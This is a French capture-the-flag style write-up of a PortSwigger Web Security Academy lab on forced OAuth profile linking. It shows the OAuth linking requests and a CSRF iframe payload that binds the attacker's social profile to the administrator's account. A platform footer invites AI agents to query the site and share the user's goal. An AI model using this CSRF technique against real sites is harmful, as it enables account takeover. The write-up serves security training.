> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/oauth-authentication/forced-oauth-profile-linking.md).

# Liaison forcée de profil OAuth

Notes sur la liaison forcée de profil OAuth pour les laboratoires de la PortSwigger Web Security Academy, incluant le workflow d’exploitation, les tests de payloads, la validation dans Burp Suite et le contexte de remédiation.

### JLiaison forcée du profil OAuth

**Description du laboratoire**

Ce laboratoire offre une fonctionnalité permettant de lier un profil de réseau social à un compte utilisateur afin de se connecter via OAuth plutôt qu’en utilisant l’authentification traditionnelle. / En raison d’une implémentation non sécurisée du flux OAuth côté client, un attaquant peut détourner ce mécanisme pour associer son propre profil social au compte d’un autre utilisateur.

Objectif : / Mener une attaque CSRF pour lier votre profil de réseau social au compte de l’administrateur du site, puis accéder au panneau d’administration et supprimer l’utilisateur **carlos**.

Contraintes :

* L’administrateur ouvre systématiquement tout contenu envoyé par le serveur d’exploitation.
* L’administrateur a toujours une session active sur le site du blog.

**Comptes disponibles**

* Compte du site : `wiener / peter`
* Profil du réseau social : `peter.wiener / hotdog`

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f035e4e95319e6757c7a1e87077265181f1037c5%2F%7B9B021944-FC9E-4C73-9DB7-08132E7AB7A7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Analyse du mécanisme OAuth**

* Le site permet une connexion classique via identifiant et mot de passe.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ba26aa06f7e7a6eb53ec0e16036cac8d7c821788%2F%7BBDD5638A-9B29-4D3C-9D5D-18C54D3C0CCD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Une connexion via OAuth (réseau social) est également disponible.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-94127a5d88b079dc764f6d5a1958c3ab1a4c3470%2F%7B89AC4528-028A-406A-BC4C-451101EF9EE2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Un utilisateur existant peut lier un profil de réseau social à son compte.

Lors de la liaison, une requête OAuth est envoyée au point d’authentification :

{% code overflow="wrap" %}

```http
GET /auth?client_id=s4z8vs36ubaet908r8qfn&redirect_uri=https://0ac30047040d749984bf3b740088002a.web-security-academy.net/oauth-linking&response_type=code&scope=openid%20profile%20email HTTP/2
```

{% endcode %}

Après authentification, l’utilisateur est redirigé vers une URL contenant un code OAuth :

```http
GET /oauth-linking?code=pYNeIWIFHaUh_fmTub7fAYLzcyNAEvDoKMh9iljTU1Q HTTP/2
```

Ce code :

* Est à usage unique
* Pour lier le profil OAuth au compte actuellement authentifié

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-692233e9b1403f7ec3737a434e7922743f4c53d2%2F%7BA9D8B5BA-F9CD-40E4-BD38-AFF0BBAC7822%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Exploitation de la vulnérabilité**

1. Commencez la procédure de liaison entre votre compte et votre profil de réseau social.
2. Interceptez et copiez l’ `/OAuth-linking?code=...` URL.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e6470d69b54bb159a57db680b2c5c21efab01392%2F%7BECCD32A8-D5CE-4500-839C-4FB22D160CDE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Abandonnez la requête afin que le code ne soit pas consommé.

Depuis le serveur d’exploitation, envoyez cette URL à l’administrateur via une attaque CSRF, par exemple en utilisant une iframe

{% code overflow="wrap" %}

```javascript
<iframe src="https://0ac30047040d749984bf3b740088002a.web-security-academy.net/oauth-linking?code=pYNeIWIFHaUh_fmTub7fAYLzcyNAEvDoKMh9iljTU1Q"></iframe>
```

{% endcode %}

L’administrateur charge la page :

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e7b2d3569773c57462ea3dac9900b7f5bd3d69da%2F%7B330F7921-1FBF-42B5-B2E6-1092A03CEAF4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Le code OAuth est consommé

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-81b2b362756a441e936a6a63f69152ede9210982%2F%7B90C1F5AB-FC90-4ABF-A46B-A30DD3BA4409%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Le profil OAuth de l’attaquant est lié au compte administrateur

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-19ed647e1493f7cf7e48fdd225ddb53ac8e15212%2F%7B1FF37DFD-0799-4E65-B448-ABD61F14B3AF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/web/oauth-authentication/forced-oauth-profile-linking.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
